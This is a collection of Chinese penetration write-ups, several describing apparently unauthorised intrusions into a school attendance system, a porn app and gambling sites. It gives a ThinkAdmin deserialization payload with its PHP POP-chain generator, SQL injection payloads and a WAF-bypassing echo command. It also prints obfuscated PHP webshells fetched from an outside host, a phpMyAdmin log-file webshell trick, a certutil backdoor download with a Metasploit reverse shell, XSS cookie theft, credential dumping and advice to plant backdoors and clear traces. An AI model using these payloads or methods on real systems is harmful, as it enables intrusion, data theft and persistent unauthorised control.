  17. 0x01 前言找到某色情app的界面 看了看功能点,有一个注册的地方,但是注册的时候居然要邀请码!!! 0x02 渗透过程于是将app放到虚拟机,通过抓包拿到其真实域名 然后利用bp的爬虫爬到一处api接口 提示参数缺失 fuzz一波参数 http://www.xxxxxxx.cn/api/index/tab3?p=1&t=3&v=0&s=0 通过sqlmap进行注入 但是不是DBA 也无法写文件 数据库实在太乱了 懒得一个一个的读 目前后台地址也还没找到 而且这个站及其的卡 思路完全乱了,, 想着先利用注入搞一个账号出来 然后登录该app,看看app内有无什么可利用的 但是除了一处留言反馈准备测试xss之外,就是各种诱惑。。。。 留言框只允许中文以及中文符号,但是却是使用js进行验证,抓包即可绕过 对着该处留言框就是一顿乱插 中途等了大概10分钟 就当我以为要失败的时候 果然,,菜逼运气好== 拿到后台登录地址 虽然没有cookie 但是利用注入点读出了后台账号密码 最后登陆后台 看了看后台,app总用户达到1w+…一天用户增加500+ 翻了下后台的功能,发现一处图片上传,而且似乎是js验证的图片类型 但是在实际上传中 各种失败,应该是前台js验证+后端功能让所有上传的文件强制改名为.jpg 接下来的事就比较好玩了,虽然拿到了后台,但是没法突破,没卵用 于是我添加了后台留的一个QQ号 对方秒通过,经过简单的交流,发现他是这套程序的二开作者,售卖给别人被别人用来当作淫秽视频传播盈利网站了。 于是我就将计就计,先唬住他(我摊牌了,我是演员) 这个地方 hw 和授权书只是我骗他的== 各位表哥看着爽就行 甚至他把他的网站后台账号密码都给我了。。。 tips:以上内容都是瞎编的,大佬们不要当真! 通过他提供的部分上传验证源码,发现是后段对上传文件强制改名了,最后还是没拿到shell等等,也就是只止步于后台了. 0x03 总结 1.通过对APP进行抓包,发现APP真实域名 2.对域名进行目录扫描发现存在一处API接口,访问接口显示缺失参数 3.通过bp fuzz参数,最终获得(http://www.xxxxxxx.cn/api/index/tab3?p=1&t=3&v=0&s=0),该地址存在SQL注入漏洞 4.通过sqlmap对其进行dump出数据,这里获取到APP登录用户名和密码,但是没有管理后台。 5.这里通过普通用户登录到APP,发现留言处可能存在XSS,但是前段做了限制,不能直接插入XSS,可以通过抓包绕过提交。 6,在留言板中插入xss,获取到网站管理员的cookie信息以及后台,这里伪造cookie直接进入后台。但是后台处的图片上传已经做了过滤,发现有一处开发的QQ 7.加了该开发QQ进行一波社工,但最后还是没有拿到系统shell. 原文链接:http://r6d.cn/VRhr
  18. 0x01 前言由于疫情问题,学校的易班APP新增了打卡系统,每天需要进行晨检,午检打卡,忘记的话就是上千字检讨 本人对于这种“形式主义”深感不满,适逢最近成立了网络安全战队,于是准备操作一番 0x02 踩点基本的信息搜集咱们就不多说了 因此不同系统使用了不同的多台服务器 看样不能一劳永逸,需要各个系统、服务器奇妙的学校系统渗透之旅,拿下核心系统, 然后摸入核心系统中 首先打开“易班”系统的首页是这个样子 不难看出,开发者使用了TP框架,在简单地测试了各种TP 注入, RCE的payload后均以失败告终,看样安全意识还不算太差 域名下的首页完全就是一个报错页面,没有任何功能点和信息 俗话说得好,信息搜集的好坏直接决定了我们渗透的成败,因此我们绝对不能疏忽大意。 我们先来fuzz一级目录 成果还不错,不少目录和功能点, 随后我们继续fuzz各个一级目录的二级目录,不断摸索该域名下部署的功能点 具体的就不上图了,因为一级目录太多了。 了解清楚功能点后,直接脱裤子开干 0x03 心理健康系统的渗透(IIS短文件名-->老登录口-->爆破-->新登录口-->上传)通过一级目录爆破,爆破出 http://xxx.xxx.edu.cn/psy这个路径 发现其中部署了心理教育健康系统,中间件为IIS 但是心理健康系统登录口有验证码机制,而且验证码不容易识别 立马想到iis短文件名特性 随后通过iis短文件名目录扫描工具 (https://github.com/lijiejie/IIS_shortname_Scanner)进行扫描 获取到老的其他系统登录口 http://xxx.xxx.edu.cn/psy/Login2.aspx 如图,没有任何验证码机制 直接Burp Cluster bomb式爆破 成功得到其他系统的弱口令admin,Aa123456 但是老系统其他页面已经删除,无法正常登入后台 但推测新老系统用的同一个数据库 访问新系统 http://xxx.xxx.edu.cn/psy/Login.aspx 使用密码admin,Aa123456成功登陆 后台翻找上传点 上传点在 http://xxx.xxx.edu.cn/psy/ScaleManage/ScaleEdit.aspx?ScaleListID=1 量表平台这边的添加题目存在任意文件上传 (话说这个上传点...可以说是相当隐蔽了..找了好久才找到) 上传aspx会莫名其妙跳转,asp不解析,直接传了个asmx的马 通过awvs 10的调试模块执行命令 权限为net service 使用cobaltstrike直接powershell一句话上权限 结果补丁貌似比较死。。 各种本地提权Exp上了一遍,没什么逼用 Com组件,土豆上了也提不下来,先这样吧,提权要是提下来了再补充 心理健康系统宣布初步拿下 0x04 直播系统接口注入在进入直播系统后,发现没什么可以利用的点,大概开发还没有完成 但是在BURP中,我发现了一个ajax接口的请求, http请求如下: POST /index.php/Live/index/seat_ajax.html HTTP/1.1 Host: xxx.xxx.edu.cn Content-Length: 24 Accept: / Origin: http://xxx.xxx.edu.cn X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Linux; U; Android 5.1; zh-CN; 1501_M02 Build/LMY47D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.0.818 U3/0.8.0 Mobile Safari/534.30 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://xxx.xxx.edu.cn/index.php/Live/index/seat?place_id=10&active_id=20 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: ASP.NET_SessionId=s0clwrginz0rw3x0smtwtsgg; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1a; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1a Connection: close place_id=10&active_id=20 进行fuzz找到SQLI Payload 两个id参数都存在union注入 构造payload ) UNION ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Neqy 如图成功获得current_user信息 "[email protected] 构造payload place_id=10) UNION ALL SELECT NULL,NULL,NULL,NULL,group_concat(SCHEMA_NAME),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.schemata-- Neqy&active_id=20&active_id=20 其他的表、列、数据、在此就不演示了,写语句就ok,都非常简单 后面发现涉及了很多其他系统的库,但并没有摸到我最想要的核心系统的库, 0X05 一个平淡无奇的B64上传 FUZZ功能点后,找到了一个未授权可以上传图片的地方 http://xxx.xxx.edu.cn/v4/public/weui/demo/form12.html 发现data:image/jpeg时上传jpeg图片 直接改data改为image/php,然后将上传内容base64编码后提交 Getshell成功,SYSTEM权限,提权都省了 0X06 核心系统精彩渗透(Nday反序列化+命令执行绕过+条件竞争Getshell)寻寻觅觅,冷冷清清,凄凄惨惨凄凄,终于找到了我们的控制“易班”核心系统 http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/tree 胜利就在眼前...不睡觉也要把他给搞下来 各种fuzz,各种操作一块安排上去,发现并没有什么卵用,依旧日不进去 难道就此放弃??不可能,这不是我们的风格 我在仔细查看页面JS的时候,发现了这样一个有趣的信息 眼前一亮,妈的ThinkAdmin,正好之前有个反序列化的Nday,安排上! http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/tree PostData: rules=a%3A2%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Bi%3A123%3B%7D //执行whoami 下面为反序列化pop链子如下 <?php namespace think; use think\model\Pivot; abstract class Model{ private $lazySave = false; # save() private $exists = false; # updateData() protected $connection; protected $name; # __toString() Conversion.php =>Pivot private $withAttr = []; # assert protected $hidden = []; private $data = []; protected $withEvent = false; private $force = false; protected $field = []; protected $schema = []; function __construct(){ $this->lazySave = true; $this->exists = true; $this->withEvent = false; $this->force = true; $this->connection = "mysql"; $this->withAttr = ["test"=>"system"]; $this->data = ["test"=>"whoami"]; $this->hidden = ["test"=>"123"]; $this->field = []; $this->schema = []; } } namespace think\model; use think\Model; \# Model 是一个抽象类,我们找到它的继承类,此处选取的是 Pivot 类 class Pivot extends Model{ function __construct($obj=""){ parent::__construct(); $this->name = $obj; # $this->name放子类构造方法中赋值,直接放基类属性中初始化不成功 } } $a=new Pivot(); echo urlencode(serialize([new Pivot($a),123]));?> 权限为system,哈哈哈哈哈哈,天助我也 但使用echo命令写shell过程中遇到了很多问题 命令不能带空格,而且<>直接在一条命令中出现写shell,否则会报错 空格会被转换为+ 而+ 他后端又识别不了 经过坚持不懈的手动测试,发现/\可以绕过空格的限制 然后再使用&&来拼接命令,实现对于写入<>检测的绕过 但是目标机有waf,普通的webshell传上去过几秒就会被杀 何妨,直接通过条件竞争远程下载免杀的webshell 构造命令通过条件竞争下载免杀shell echo/^<^?php>>s1.php&&echo/file_put_contents('s2.php',file_get_contents('http://49.x.x.x:8080/shell.txt'));?^&gt;&gt;&gt;s2.php 免杀shell内容如下 <?php function test($php_c0d3){ $password='skr';//EnvPwd $cr=preg_filter('/\s+/','','c h r'); $bs64=preg_filter('/\s+/','','bas e64 _de cod e'); $gzi=$cr(103).$cr(122).$cr(105).$cr(110); $gzi.=$cr(102).$cr(108).$cr(97).$cr(116).$cr(101); $c=$bs64($php_c0d3); $c=$gzi($c); @eval($c); } $php_c0d3='S0lNy8xL1VAvzkjNySlILC5W11EBUeX'. '5RSma1rxcKgWZeWm2KvFBroGhrsEh0UogvlIsUC'. 'YzTQMiaatUmVqspFnNy1WQARLI1wBprAXi1LLEH'. 'A2EXrgdsZrWAA=='; test($php_c0d3); ?>通过反序列化pop链子生成Postdata 直接打过去 http://xxx.xxx.edu.cn/v4/public/s2.php 密码Skr 直接拿下 终于拿下了这个打卡,晚点名,考勤的核心系统,adminer进入库中解密管理员密码 妈的,还想让老子写检讨???吃屎去吧 核心系统宣布拿下~圆满完成任务 0x06 总结1.通过信息收集发现首页主站采用是tp框架,测试RCE无果 2.通过对其主页扫描目录,发现了一些可用目录 3.通过一级目录发现是一个心理健康系统(http://xxx.xxx.edu.cn/psy),登录窗口存在验证码,无法爆破,且该站采用IIS中间件 4.通过IIS短路径扫描,可获得敏感路径(login1.asp以及login2.asp) 5.打开http://xxx.xxx.edu.cn/psy/Login1.aspx(老干部素质能力测评系统),登录窗口无验证码,可成功爆破出弱口令admin,123456,登录系统,后台无法显示 6.打开http://xxx.xxx.edu.cn/psy/Login1.aspx(新干部素质能力测评系统),猜测和老系统数据库一致,可使用弱口令admin,123456登录系统,且在后台的添加题目存在任意文件上传漏洞,这里上传aspx和asp都不解析,上传asmx脚本大马 7.通过大马上传CS生成的后门,并执行后台,这里查看权限为NT权限,需要对其提权,但是通过PS以及各种EXP和烂土豆等都无法提权,系统补丁已全打 8.在直播系统中接口存在SQL注入漏洞,通过SQLmap获取数据,并没没用找到该站的用户名和密码。 9.通过一个未授权接口上传点,对其上传一句话图片马,发现上传的数据是base64,这里就将上传的一句户马对其加密base64,进行上传。 12.发现核心系统(易帮通),在登录页面查看到JS中包含了敏感信息,该系统采用Thinkadmin,且版本为V6.0,该框架存在反序化漏洞。通过反序化构造成数据链,发送请求,执行远程命令执行。 http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/tree PostData: rules=a%3A2%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Bi%3A123%3B%7D //执行whoami 13.这里准备通过echo写入一句话,命令不能带空格,而且<>直接在一条命令中出现写shell,否则会报错,空格会被转换为+ 而+ 他后端又识别不了。发现/\可以绕过空格的限制然后再使用&&来拼接命令,实现对于写入<>检测的绕过。 echo/^<^?php>>s1.php&&echo/file_put_contents('s2.php',file_get_contents('http://49.x.x.x:8080/shell.txt'));?^&gt;&gt;&gt;s2.php 免杀shell.txt: <?php function test($php_c0d3){ $password='skr';//EnvPwd $cr=preg_filter('/\s+/','','c h r'); $bs64=preg_filter('/\s+/','','bas e64 _de cod e'); $gzi=$cr(103).$cr(122).$cr(105).$cr(110); $gzi.=$cr(102).$cr(108).$cr(97).$cr(116).$cr(101); $c=$bs64($php_c0d3); $c=$gzi($c); @eval($c); } $php_c0d3='S0lNy8xL1VAvzkjNySlILC5W11EBUeX'. '5RSma1rxcKgWZeWm2KvFBroGhrsEh0UogvlIsUC'. 'YzTQMiaatUmVqspFnNy1WQARLI1wBprAXi1LLEH'. 'A2EXrgdsZrWAA=='; test($php_c0d3); ?> 14.通过反序列化pop生成数据链进行远程命令执行 原文链接:https://bbs.ichunqiu.com/thread-59207-1-1.html
  19. 0x00 使用关键词得到目标源码某日上午接到临时安排对某公司进行渗透测试,此次渗透给的是一个主域名,并且也没有子域,打开了目标网站先对其进行一波信息收集 中间件: IIS 8.5 输入admin发现自动添加了/ 说明其目录存在,那么盲猜一波文件,login.aspx default.aspx main.aspx 等等 最终在login.aspx下面发现后台登录页面。这不猜他一波弱口令?? 一顿操作过后账号被锁 熟悉的开局,既然如此只能尝试其他方法了。 在主页的html代码中发现了某处信息 设计制作?根据后面的域名访问过去,是一个建站公司 那么,入手点来了。IIS8.5+ASP.NET+建站系统 先扫一波备份文件: 400多条ip这开发商还行。使用FOFA查询工具,批量导出 然后我们来扫一下备份文件。这里推荐我B哥的扫描器 https://github.com/broken5/WebAliveScan 可以进行批量存活扫描和目录扫描 在好几个站下面发现web.zip备份文件。 下载下来过后,对其目标站点文件进行了对比。基本一致 0x01 拿到代码开始审计多次碰壁那么开始审计。 在某接口处放下敏感操作 WebClient.DownloadFile (远程文件下载) 由于该方法需要提供绝对路径。。比较头疼,但我跟踪相关参数。发现。 在另一个方法中调用了该方法。 并传入Server.MapPath,这根本不需要找绝对路径了系统都给你安排好了。 那么构造POC: ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl=http://***.cn/ 访问地址: 文件存在,那么证明可行 回到目标地址: 被修复了文件不存在 继续回到代码中,审计其他漏洞在其他接口中,也均存在多个漏洞。如ueditor远程抓取漏洞 文件重命名可Getshell 但是这些接口都需要登录 这就很头疼了,打算在一些无需登录的接口中尝试寻找SQL注入。 最终在某处发现SQL拼接。 但是这里调用了IsSafeSqlString检测 常见符号基本被卡的死死的 0x02 拿下开发商寻找通用账号逆向加解密算法由于都是使用了相同的建站程序,怀疑有程序内置账户 于是准备通过刚才审计出来的漏洞。从同程序的站点入手 最终在某个站点成功拿到Webshell 看了下相关信息 居然是厂商的演示站群,存了该开发商所有站点源码。 应该是在开发过程中的演示环境吧站点有很多,估计每个客户都有。 在服务器里翻到了目标站点的演示网站 根目录下有zip网站备份和sql 数据库备份。 如果说目标站点是直接搬迁过去的,那么后台账户密码应该是一样的。 将其SQL文件下载下来。再其中搜索相关信息 发现了插入账户的SQL语句。其密码是加密过的 cmd5解不开,看了下密文是33位加密。 但是登录过程中,密码是RSA加密过后传输的,而后端居然是33位的md5加密 因为有源代码,追踪了一下登录了相关方法。 密码传入后,调用了CommFun.EnPwd进行了一次加密。 追踪EnPwd方法 可以看到,传入进来的密码是RSA类型,先进行了一次RSA解密,然后进行了一次DES加密。 追踪DESEncrypt.Encrypt方法。 这里是将Encrypt方法封装了一下,并传入加密key。 其核心加密方法为下: 并且,在该类里。还定义了解密方法 得到了加密方法和解密方法以及key。那么只需要将其单独拉出来调用就可以了。 将得到加密字符进行解密,得到结果 尝试登录 忙活半天,白干了。 0x03 柳暗花明拿下目标shell已经下午4点了。还是一无进展,准备尝试绕过SQL过滤。 就在这时候,我发现了一处SQL注入点。 某方法接收了两个参数,却只对一个参数进行了过滤。 在目标网站上测验 存在注入,发现存在waf使用垃圾参数填充成功绕过waf 直接上sqlmap安心的跑,得到系统账户以及密文 将得到的密文进行解密,得到结果 尝试登录。这下总对了吧! 终于进来了!!!! 经过之前的审计,发现了很多接口都存在漏洞,现在成功登录了。岂不是随便getshell? 直接ueditor带走。 成功shell 0x04 总结1.在目标网址后加入admin显示管理后台,并在网站底部查询到该网站的CMS信息2.通过fofa批量搜索该CMS的其他网站: body="xxxx系统”&country="CN"3.通过fofa查询工具批量导出查询的网站网址4.通过WebAliveScan对导出网站网址进行批量敏感目录扫描,并发现其中一个网站存在源代码压缩包泄露。5.对网站源码进行本地代码审计,发现以下漏洞:存在任意文件下载漏洞,不需要登录ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl=http://***.cn/ueditor编辑器远程文件下载漏洞,需要登录存在SQL注入漏洞,需要登录,且被过滤了6.通过任意文件下载漏洞拿到其中一个网址的webshell,发现是产商的演示的站群系统。7.通过webshell发现站群中每个网站根目录下有zip网站备份和sql 数据库备份,SQL语句中包含插入的用户名和密码(密码为33位),站群的所有登录基本上都使用相同的用户名和密码8.通过源代码分析发现登录处是通过RSA+DES加密,并在源码中找到加密的方法和KEY值10.通过源代码中加密方法写出解密方法,并解密出HASH值,但是登录,是无法登录11.通过源代码审计又发现一处SQL注入,这里通过垃圾填充数据让WAF拦截,进行注入,通过SQLMAP跑出用户名的用户和密码,通过上面的解密方法,对其密码hash值解密,最终得到了明文密码12.通过得到的用户名和密码登录系统,然后通过ueditor编辑器远程文件下载获得目标系统的webshell 原文链接:https://xz.aliyun.com/t/8375
  20. 0x01 收集信息因为主要想练习sql注入,所以信息收集做的比较简单: 通过fofa找到相关cms,这里发现棋牌后台登录处存在SQL注入漏洞 0x02 漏洞利用1.利用sqlmap一把梭,并获取os-shell 2.利用python搭建一个简单的http服务器,并挂载MSF生成的后门文件 python -m SimpleHTTPServer 3.os-shell下远程下载后门执行程序 在os-shell下通过命令创建一个目录 mkdir C:\test 在os-shell下通过certutil命令远程下载后门文件到服务器上 4.执行msf反弹shell use exploit/mulit/hander set lhost 接收反弹shell的ip run 5.成功进入该服务器 这时发现我们只有gust权限 难受 6.对目标服务器进行提权 提权方法:内核提权以及窃取管理tokens提权 本文只利用窃取管理tokens提权 使用use incognito来加载会话令牌模块 然后list_tokens -u来列出会话令牌 7.创建用户 命令:net user 用户名 密码 /add 0x03 渗透总结1.通过SQLmap获取os-shell2.在msf下生产后门文件3.通过python -m SimpleHTTPServer 搭建http服务器,并将生成的后门文件拷贝到到http服务器目录下。2.在os-shell模式下创建目录,并通过certutil远程下载http服务器上的后门。4.通过MSF反弹shell。在MSF下添加用户以及添加到管理员组,可远程桌面登录
  21. 一、事情的起因这位兄弟找到我,告诉我被骗了很多钱,我们这些正义的白帽子当然能帮则帮啦.当然,毕竟是杀猪盘,即便是拿下也不能把钱追回二、信息收集拿到目标网站,可见是一个很常规的bc站,而且做的有点low逼。先进行简单的信息收集通过Wappalyzer插件可见php版本与windows serve这两个比较重要的信息命令行nslookup+url查看ip,发现没有CDN再到站长工具上看看 http://s.tool.chinaz.com/same香港的,羊毛出在羊身上,中国人在骗中国人?知道ip地址后端口扫描一波(全端口扫描+服务探测。这个过程比较漫长,可以先干别的) 看到开放3306端口,连接一下看看 发现不行,应该是不能外连三、后台攻陷回到web,反手在url后面加一个admin 发现不行,这才想起来一般BC的后台都是单独存在的既然如此,只能找一找xss了先注册账号登录进去看看填写的都是虚假信息,请勿当真进去以后是酱紫,感觉很熟悉,好像之前有过0day奥,好像是在存款的地方试一波提交看看xss平台能否收到cookie收到了cookie,确定xss存在,下一步登录后台此处可以看到,用户其实不少而且被骗的用户都会被管理员删除账号导致现在的用户看着很少四、寻找上传点看到有数据库备份,但是发现不可以下载,放弃之后问了群里的大佬,大佬说可以做一个flash钓鱼,源码我下载以后,发现做flash钓鱼需要具备三个条件我就果断放弃了条件:一个免费空间一个免费域名(域名可以搞一个 www.flashxxx.tk 这种的,可信度比较高) 这个可以正常上线的马子 五、总结1.通过Wappalyzer插件可查看php版本与windows serve信息2.通过nslookup以及域名全国访问,可查看目标站点是不存在CDN3.查询同IP网站http://s.tool.chinaz.com/same4.通过NAMP扫描IP对应的端口和指纹,发现80,3306以及8800端口开放5.发现3306端口是无法连接,测试在网址后加入admin账号是不存在的,BC有专门的后台管理6.现注册一个虚假的测试登录账号,在定点信息存款信息处的用户名处存在XSS漏洞7.这里填写sb.xss.com后台生成的JS,提交后,审核人员点击后,即可看到审核管理员的cookie信息8.通过泄露的COOKIE可查看到管理员的后台地址,可构造COOKIE进入后台 原文链接:http://www.toobug.cn/post/1129.html
  22. 确定目标 收集信息x.x.x.x首先常规测试方法一顿怼,目录扫描,端口扫描,js文件,中间件,指纹识别,反正该上的都上。。。。 随手加个路径,报错了,当看到这个界面我瞬间就有思路了 为什么这么说呢,因为之前我就碰见过这样的网站报错, 这是一个php集成环境,叫upupw,跟phpstudy是一样的 upupw --> pmd phpstudy --> phpmyadmin突破点这个集成环境包也有个phpinfo的页面,跟数据库管理界面 u.php 测试一下弱口令 root/root 连接成功后就可以看到phpinfo的页面 好了现在问题变成phpmyadmin拿shell getshell三步拿shell set global general_log='on'; SET global general_log_file='D:/xxxx/WWW/cmd.php'; SELECT '<?php assert($_POST["cmd"]);?>';当执行第三步的时候页面 卡在执行中。。。没有反应 瞬间感觉不对,可能存在waf 换了个免杀马试试,先写到txt里边看看成否成功 没有任何问题,下面直接写入php文件 可以写入,直接去连接shell 果然有waf,当时写入的时候就感觉到了,不免杀的shell,sql语句执行不了 绕过waf怼了半天都不知道是什么鬼waf,用下载文件试试 为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php'; SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>' 访问11.php 就会生成shell.php 这里的shell也是用了哥斯拉的免杀shell <?php session_start(); @set_time_limit(0); @error_reporting(0); function E($D,$K){ for($i=0;$i<strlen($D);$i++) { $D[$i] = $D[$i]^$K[$i+1&15]; } return $D; } function Q($D){ return base64_encode($D); } function O($D){ return base64_decode($D); } $P='pass'; $V='payload'; $T='3c6e0b8a9c15224a'; if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V]; $A=explode('|',$L); class C{public function nvoke($p) {eval($p."");}} $R=new C(); $R->nvoke($A[0]); echo substr(md5($P.$T),0,16); echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16); }else{ $_SESSION[$V]=$F; } } 尝试了这么多次 进程里没有waf进程 权限是system 脱源码上传抓密码工具,直接获取管理密码,登上服务器 留后门,清理痕迹多留几个后门,万一被删 这个网段还有这么多机器 源码打开源码才发现waf是360webscan 总结:1.信息收集,目录扫描,端口扫描,JS文件敏感文件扫描,中间件扫描,指纹识别无任何可利用信息2.通过在网址后加入错误路径,报错信息“为找到,法海不懂爱,页面显示不出来”,该系统是php集成环境upupw3.该环境有个叫phpinfo的文件为u.php,输入弱口令root/root,可直接进入phpmyadmin,同时可查看phpinfo的信息,暴露出网站的绝对路径为D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/4.phpmyadmin通过写入日志获取shellset global general_log='on';SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/cmd.php';SELECT '<?php assert($_POST["cmd"]);?>';5.可直接写入一句话,但是连接shell,被WAF拦截6.通过远程下载的脚本是利用JavaScript转写php绕过WAF(360webscan)SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/11.php';SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'7.访问11.php 就会生成shell.phpshell.txt:<?php session_start(); @set_time_limit(0); @error_reporting(0); function E($D,$K){ for($i=0;$i<strlen($D);$i++) { $D[$i] = $D[$i]^$K[$i+1&15]; } return $D; } function Q($D){ return base64_encode($D); } function O($D){ return base64_decode($D); } $P='pass'; $V='payload'; $T='3c6e0b8a9c15224a'; if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V]; $A=explode('|',$L); class C{public function nvoke($p) {eval($p."");}} $R=new C(); $R->nvoke($A[0]); echo substr(md5($P.$T),0,16); echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16); }else{ $_SESSION[$V]=$F; } }8.通过格拉斯连接shell,然后查看进程tasklist,并无杀毒软件,查看权限whoami,是system权限9.上传 hash抓取本地密码,可抓取windows本地用户名和密码10.上传cs的生成的后门文件,并执行。11.下载源码,发现WAF使用的360webscan 原文链接: https://xz.aliyun.com/t/9181
